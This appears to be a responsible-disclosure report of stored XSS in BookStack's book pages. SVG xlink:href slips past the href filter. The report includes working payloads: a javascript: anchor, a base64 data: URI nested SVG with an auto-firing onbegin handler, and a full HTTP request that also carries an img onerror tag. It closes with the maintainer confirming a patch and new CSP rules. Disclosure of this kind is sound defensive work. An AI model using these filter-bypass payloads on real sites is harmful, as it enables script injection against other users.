Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack
Reported on
Sep 1st 2021
✍️ Description
There is svg tag filtration problem in "book page" egit leading to stored XSS. SVG images can be used on book pages, but there is not server side attribute filtration implemented for it.
🕵️♂️ Proof of Concept
There is filter for href attribute, but inside SVG xlink:href used. That means attacker can use both javascript: or data: inside it.
SVG with XSS №1 (user interaction required, acts like <a href=>)
<svg id="test" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(document.domain)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>
Example request with it
POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1
_token=<TOKEN>&_method=PUT&summary=&name=test&html=<p><svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+xmlns%3axlink%3d"http%3a//www.w3.org/1999/xlink"+width%3d"100"+height%3d"100"><a+xlink%3ahref%3d"javascript%3aalert(document.domain)"><rect+x%3d"0"+y%3d"0"+width%3d"100"+height%3d"100"></rect></a></svg></p>&tags%5B0%5D%5Bname%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%28%29%3E&tags%5B0%5D%5Bvalue%5D=&tags%5B1%5D%5Bname%5D=&tags%5B1%5D%5Bvalue%5D=&tags%5Brandrowid%5D%5Bname%5D=&tags%5Brandrowid%5D%5Bvalue%5D=&attachment_link_uploaded_to=2&attachment_link_name=&attachment_link_url=&template=false
SVG with XSS №2 (svg inside svg, no user interaction needed to shoot xss) This thing more "spicy": svg hidden inside uses "on"-events, which be filtered on normal circumstances and also it's not visible on page
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjAiIGN4PSIwIiBjeT0iMCIgc3R5bGU9ImZpbGw6ICNGMDAiPgo8c2V0IGF0dHJpYnV0ZU5hbWU9ImZpbGwiIGF0dHJpYnV0ZVR5cGU9IkNTUyIgb25iZWdpbj0nYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKb25lbmQ9J2FsZXJ0KCJvbmVuZCIpJyB0bz0iIzAwRiIgYmVnaW49IjBzIiBkdXI9Ijk5OXMiIC8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>
💥 Impact
Stored XSS on book-page
Recommendation
Add filtration to svg-specific tags/attributes
Occurrences
Thank you very much for reporting @wezery,
I've now patched the cases found and deployed an update. I've fixed the cases found but this also pushed me to include some built-in CSP rules to hopefully mitigate the risks of things going past our filters.
Yeah, CSP is good idea! Thanks for fast response and updates!
